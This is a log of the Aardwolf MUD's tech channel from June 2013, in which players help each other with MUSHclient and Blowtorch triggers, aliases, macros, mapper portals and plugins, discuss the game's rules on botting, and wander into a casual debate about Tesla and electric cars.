T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor bows once again to Abelinc's speed and knowledge
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: yeah, that throws things off because good triggers are "anchored", so a trig that says "every line that BEGINS with {chan ch=tech}" won't fire on a line of "100/100 hp 100/100 mn >{chan ch=tech}"
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: hmm cool
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: and the anchoring being good is because it wants us to be able to say stuff like {chan ch=gossip} in tech channel without firing that trigger making it think that something was just said on gossip
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: otherwise answers to things like "what's the text that the MUD sends for xxx" would fire off everyone's trigs
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Runtkins Tech: hi
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: lo runt
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Runtkins Tech: any way to calibrate action touch buttons? mine way off
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: is this in aardwolf rpg, or blowtorch?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Runtkins Tech: aardwolf
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: type ".togglefullscreen"
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: there's a glitch in blowtorch (which is the base of aardwolf rpg) for fullscreen mode and buttons...they drift
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Runtkins Tech: awesome it worked.. thank you so much
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: here's the thread on it form the blowtorch forums: http://bt.happygoatstudios.com/forum/viewtopic.php?f=3&t=368
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: you can type the toggle again if you like that layout, and just toggle it off/on whenever the drift gets too bad
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: I don't use droid, so not sure how different it looks in and out of fullscreen mode
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Thrys Tech: are you using bt 2.0 or the test version?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Runtkins Tech: looks same :) functions correctly now. ty so much
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Runtkins Tech: should i leave channel? not sure how i do that... sorry I'm a noob.. hehe
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Six-String Strazor Tech: You can leave and join channel by typing the channels names.  If you type 'tech' it will turn the channel off.  If you type 'tech' again it will turn the channel back On.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Runtkins Tech: k thx again :)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: so triggers, i get they are client side, what triggers them? Text in the command screen or text inputted by the user?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: yeah, unless you're interested, this channel you can safely leave off except when you have questions...I'd suggest leaving q/a turned on all the time...it's amazing how much you can learn even when you don't think you have a question by just noticing stuff on there
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Hanslanda Tech: both
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: you just blew my min
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: mind even
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: depends on the trigger...it's not really a trigger when it's stuff input by you...then it's either a send hook or an alias
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: the idea of investing long term in "percious metals" is folly to begin with
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: You giggle in his presence.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: sorry meant that for debate
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Arnica Tech: I keep getting disconnected. Last time it was a network issue on my end. Are there any Windows or MUSH logs that would show what might be happening
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: how often? you could run ping with -t flag to another server and see if you get any drops at the same time
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Arnica Tech: between these notes
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Arnica Tech: Well, I see why the server disconnects me, but I am still not sure of the cause. I started retransmitting a packet as if it had not been acknowledged, and after enough of that the server cut the connection. Ideas?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: well, had it been acknowledged?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Arnica Tech: I may have to wait for another event to be sure.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: it could be that your network path to the server got severed/confused/etc, and you kept retrying to send before you gave up and declared the connection closed, rather than the server cutting the connection
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Arnica Tech: MUSH has been up for awhile, I believe I will restart it, and perhaps the computer as well.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: nod, that's always a good idea :-)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: heh, 4:52PM  up 353 days, 14:17, 2 users, load averages: 0.11, 0.06, 0.02
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: heh, my client has tweeted 16,465 times to aardstats and 27,718 times to aardabelinc
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vexthorne Tech: I didn't even know aard had twitter
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: aard does, but mine are not run by aard
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Doc Holliday Tech: that's kinda slick Abe
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: for aard's official twitter, "help twitter" works ;-)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Doc Holliday Tech: I find it odd you have 28 followers on that - and i have like 2 and i post real life stuff not just quests lol
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: most of the ones to aardabelinc are those auto-follow bots...aardstats has real followers for the doubles and reboot notices
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: a hard-core PKer could follow aardabelinc to know where I'm headed tho ;-)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Jhav Tech: Too much effort.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: heh, aardabelinc's followers: brandon g, sarah ling, urmila, gitter done leads, mary murphy, lza, lisa kensworth, mother guide, johnson, skid steer, chris hebert, sam, barabara him, jacque widdoes, sarah james, cordia clakley, elvin mckeon, jake lee, hilton sheridan, david perez, magnolia deeds, estefana dittrick, ogre mage, evil ogre mage, deanna, lourdinha, loans bazaar, and guy kawasaki
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: heh, my wife is following aardstats...wonder when she did that :P
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: so all fake people following abe, but seems to be all real players following stats
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tynrael Tech: question about mapper and portals, I have an alias setup to use a few and I'm experiencing something odd. Whenever I try to run to Unearthly Bonds it chooses to use my imperial nation portal, then run into the corner and give up. Anything extra I should be doing when trying to set them up?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: double-check the aliases and the portal's use of them...you probably have something mistyped
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tynrael Tech: when I link a portal alias with mapper do I have to be at the end destination for that portal?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tynrael Tech: ah thats it then, I moved a few spaces off- Thanks
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: mapper help portals: mapper portal <command>        --> Link a hand-held portal alias to the current room
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vexthorne Tech: You'll probably have to do a custom exit to make the badge let you in as well
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: nod, or just don't put it away
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: tesla model S... overpriced toy or non-pretentious way to have a luxury car without blowing a thrifty reputation?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: I think the Tesla Model S isn't overpriced at all for fairly new technology.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Especially since it isn't from a big brand.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: let's see, you are looking at E or S-class Benz, so that's near top of luxury
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: for the price point
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: True, but The Chevy Volt came out what.... 40-50k and not NEARLY the performance or luxury of the Tesla
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Slithy Toves Tech: The Nissan Leaf battery, for example, costs $18000, and the Tesla goes about 3x farther per charge
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Pedwiddle Tech: Consumers just rated it 99 /100
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: u can lease a leaf for 2k down, 200 per month for 3 years... that's basically free after gas savings
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: economically, leaf wins hands down
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but it's not a real sedan, much less luxury
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: tesla STARTS at 71.5k before tax credit...
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: I think you would purchase a Tesla because (a It's a new car, electric, and high-performing b) You won't look like everyone else at work who has an S-Class or E-Class Benz (or equivalent)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: their ASP runs north of 90k
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: lots of service issues on their forums, which is a little scary
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: It's a new company and a new car.  Besides, go to any manuacturer's problem forum... people almost never go to the internet to say how well their car is running :p
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea noegel, i admit i'm kind of drawn by the non-conformist part of it.  i'm not drawn by the price/value, however.  I would NEVER buy a luxury car, generally.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Considering that they are scheduled to deliver only 5-6k vehicles this year, the price is fantastic.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that stat is wrong
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: iirc it was the tesla that the car mag drove pretty recently and got stranded because it couldn't get anywhere near the battery life it was supposed to
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: doh
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: they will deliver 20k - 23k this year
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: global, maybe 15k n. america.  but that's against 3 years of backlog
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Correct, I was looking at last years numbers, my bad
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: even last year was 2.9k  maybe they were 6k life or ytd when you read the stat
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Well, a young company selling an upmarket new vehicle... you're gonna have the kinks.  Tesla just needs to hang on for a little bit for its brand to shine.  Most people I talk to haven't heard about it.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: oh, it was actually NYTimes that was "out of gas" in a tesla
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: partially the fault of a cold snap, but as I'm northeast-coast, that'd make it not fit for me
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i think i'm an interested watcher, but they are a few years away from figuring it out.  lots of reports of people chewing through tires in 5k b/c of the 4k+ weight of the vehicle and camber
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: if I were in cali where (1) the weather will always cooperate, and (2) there's elec charging stations all over the place, maybe that would change
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: all over the place meaning 9 chargers right now... but yea that's why they sell 50% in cali
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: here's the article on that test drive from february: http://www.nytimes.com/2013/02/10/automobiles/stalled-on-the-ev-highway.html?pagewanted=all&_r=0
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I wonder how that car would work in a nordic climate....
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: it wouldn't
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Electric cars are the future of the automobile... just need to get the battery tech up to snuff and a lot of work on our fragile power grid.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: the guy just watched the "fuel gauge" drop because of the temps
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: lot of demand from norway, but the tax incentives are super tilted in favor of electric
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: IMO the best thing for elec. cars is pluggable battery modules, and robotic "gas station" changing spots...
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: (a lot more demand from leafs, etc.)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Norway has some weird car taxation.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: do it like the propane "blue flame" stations...just swap your empty battery module for a full one
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: err blue rhino
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: abelinc, i think that might be coming.  but is it reasonable to develop a station to swap out 900 lb batteries?  seems like a not easy task.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: robotic arm, pretty easy
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i think battery swapping would be at their service centers, not off highways
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: and can do it in current gas stations...those canopies can be solar
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: make sure you keep one battery bank at/near full using mains power, the others can charge via solar in time
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: solar irrelevant, has to be on the grid to handle bad weather and holiday traffic spikes
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: doesn't have to be on the grid, just needs access to grid
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: I just love the noise of a good internal combusion engine.... watching those 0-60 hoons on Youtube just look weird with only the electric hum
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i've seen a few on the streets of NYC.  the car is a boat for sure.  would be odd to see that on european roads.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: heh, noegel: that's why vaccuum cleaners are so loud...people wouldn't buy the quiet ones cuz they didn't "seem" powerful
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Wow are you serious?  I didn't know that
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and that's why toothpaste and soap have sudsing agents added
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: nod, it's just an electric motor, and creating vaccuum reduces noise
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: dunno about vaccuums.  my printer makes a lot of noise too.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I just love the non sound of an electric car... and the non smell
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: heh, I'm sure the elec. car makers can build in a "v8" sound for you ;-)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Slithy Toves Tech: unless you're on a bicycle and cannot hear the vehicle come up on you
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: sound is very car specific, though.  i don't think the model s has acoustic glass.  picks up a lot of road noise, apparently.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: I prefer loud sport cars... but if I ever was in the position to purchase a $90k car, the lack of engine noise would be great
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Just as the sound is faked on modern gas cars, it can be faked on electric cars.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Ah, rannr.. like the BMW M series cars that have engine noise played on the speakers
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: right
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i've never owned or leased a car in my life.  i just watch them and pity the owners.  zipcar ftw.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: that's the carsharing thing, where you can rent out your car at odd hours, right?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I am also fortunate enough to not own a car (anymore). Carpooling ftw.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: odd = unused by you
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: zipcar is now run by big co. which owns the autos, I think.  but on demand side, it's hourly rental, no gas obligation, insurance included.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: If you don't need a car for work, then carpooling is great.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Love my cars... I've only owned 3, but I enjoy working on them and stuff.  My hobby :D
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: perfect for costco runs (can get a suv/mini van), airport pick-ups, or long island excursions
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: I run my vehicles 'till they're good and dead, so leasing and zipcar wouldn't be an economical option compared to current :-)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Also, nowadays I buy pretty much everything online (including food), so I rarely need a car for shopping trips.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Nice!  My first two cars were totaled by drunk drivers... hopefully this one doesn't
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: g'night
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: bye!
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Failboat Tech: were they driving your car?or hit you
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Hit me
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: I rolled my Cooper on this last one grrr
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Failboat Tech: thats some bad luck
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: heh, we went through a few '95 neons...first one we had for 200k miles, second one lady turned in front of wife and totalled, third one was at mechanics overnight for routine stuff and his lift broke and an SUV came down on it, fourth one we gave to father-in-law and he used it for a few more years...all but the first one, we paid about 2k each for (accident and mechanic paid for by the other parties)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Your Neons have been good to you then!
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: nod, we loved the first-gen neons, knew all their quirks :-)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: and could fit 3 carseats in the back
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: for a compact car they had hella lot of space
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: but are horrible to work on =p
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: that depends a LOT on the options
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: the 5-speed base model has lots of room in the engine compartment...the "with everything" ones have no room whatsoever
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: eureka could replace the oxygen sensors in them ;-)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Rahkim Tech: s there an easy way to set a target into a macro? like setting a target through a seperate command, then the cast syntax could just be a generic word?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Colorizing your text is an easy way to get someone to ignore it sometimes, you know. Just a head's up.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Rahkim Tech: sorry, didnt mean to colorize
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Rahkim Tech: so i am trying to set a command that will pick a target, then my macros for spells will all go to my selected target. I am using MUSHclient. Any advice here. Right noww my macro just inserts "Cast "spell name" " and i have been manually typing the target
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: when you've got the macro window open (game -> configure -> macros), click "help" to open the helpfile on macros...it has a "hint" on using aliases as macro actions for more complex tasks
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Rahkim Tech: ok, i will read through it. thanks
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: then you'd set an alias which serves to target...game -> configure -> aliases, add, "settarget *" for the alias (or whatever you want, but have the space and then asterisk)...then for the action, have it be SetVariable("targetvar", "%1")
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Rahkim Tech: awesome, I will save that down. I have a lot to learn about scriptibng here. *gets to work digging through tutorials and helpfiles*
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: so your macro can have the action of 'hittarget'...then make an alias of hittarget which has the action of cast whatever @targetvar...click the checkbox for "expand variables" and you can leave everything else the same
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: then as you settarget guard, it'll change what hittarget does, and therefor what the macro key does
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: tbh though, I wouldn't consider it worth it...in the same action where you settarget, you can just be hitting it...all subsequent hits don't need an argument/target...aard autotargets when you're in a fight
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Rahkim Tech: does it autotarget spells?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: once you're engaged in a fight, you don't ever need to provide a target except if you want to hit something else with the spell/skill, or the fight is over
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Rahkim Tech: alright, i just need to adjust the way I am starting fight then, for more effeinecy
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: cast 'earthquake' problem solved ;)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: so kill guard, c ballistic, c ballistic, c ballistic (don't need to say guard again)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: How do I remove the [TimetoVote] from my prompt? It's messing with my triggers
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: help ivoted
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: Thank you! mischanned
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: Are there any plugins that make a little window where you can see all the mobs in the room, their align and level?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: And I mean for mush
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: not that i know of
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: does gmcp give room mob details?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: if not I suppose there wouldn't be any plugins
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Gmcp does not give mob details.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Doesn't mean there aren't any plugins. It's quite possible that there are private plugins that no one wants to share, most likely because it becomes slightly easier to bot when you isolate that information. *shrug*
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: Probably not worth the effort looking for them
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: I just need to improve my memory and eat more detect align pots
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Probably not. Personally, I have a script that loads mobs into a variable for me based on their level and alignment vs mine. That way, when I'm leveling, all I have to do is press my macro (dec for backstab), and it'll backstab the first mob in the variable list.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: nice
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: does that work off consider? or study?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Saves me a lot of trouble. Even works when people cast change align on the mob.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: Hmm... You hardcode the mob name / con to find relative levels?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Neither. I have a database of mob descriptions with their keywords and levels.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Newchange.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: More or less.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: Thanks lol that'll be an interesting project to work on
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: Book of Etzli chuckles politely.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: dam now why didnt i think of that lol
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Just be careful you know where to draw the line, and you don't (un)intentionally set up a bot.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah that could get verry close/over the line
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: So to clarify- so long as your script doesn't actually initiate combat (and so when afk it doesnt kill mobs) it can't be a bot right? Regardless of how convenient this makes room clearing?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Right.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Vexthorne Tech: There's a helpfile for botting actually
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: still botting. everyone just pretends that it's not
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: To put it short and simple, never should a trigger, in any shape, form, or fashion, initiate combat. This includes a trigger that calls an alias that calls another alias that calls another alias. :p
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: The convenience a script like mine affords me is not having to type 'bs <mob name>' a thousand times an hour. :p
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: no more carpal tunnel! ;)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: LOL
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: OK I'm probably going to reveal my ignorance by asking
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: But if I have a lua table t with keys = 1,2,3.... is there a quick fx to return the first empty key?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tymas Tech: How do I set a variable
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Newchange Tech: You access the GUI with ctr-shift-7 on MUSH, or in script it's SetVariable("<name>","<value>"). Think you can google guides, be more efficient
T3/r7/2013-06-02.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: is there a in mud command that's the same as the (enter button) in keyboard?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is completely impossible
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: the mud doesn't register the enter key at all - it registers the sending of lines
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can kinda simulate it by sending a blank line, though
T3/r7/2013-06-02.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: oh ok.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: nice ty, I'll try that.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: I've figured it out , to get the same command as enter button on keyboard , then you use this (enter)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: it also work for in-mud commands
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Frolo Tech: i have no idea why but the bast spellup plugin refuses to cast spells
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Frolo Tech: anybody know anything about bast spellup and can give me some hints what to try?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Narhtan Tech: is there any way to make the quewt time appear in the window with all your stats on much client?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Narhtan Tech: quest*
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: does anyone use the miniwin plugins
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: im having trouble getting miniwin_gc to show the window
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: miniwin_gq sorry
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Ayasinda Tech: have you also loaded the broadcast plugin for that?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: yeah
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: its already loaded
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: with the miniwin_quest
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: i type mquest quest show
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: to show the window for the quest on but i dont know the command for global quest miniwin to show the window
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Ayasinda Tech: I dont use it but I think the window only shows when there is a GQ in your range.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: ahh ok
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: another newbie question for mush, heh. HOw do you get arguments when using regular expression matching? Like, I'm used to using %1, %2 etc but that doesn't appear to work.
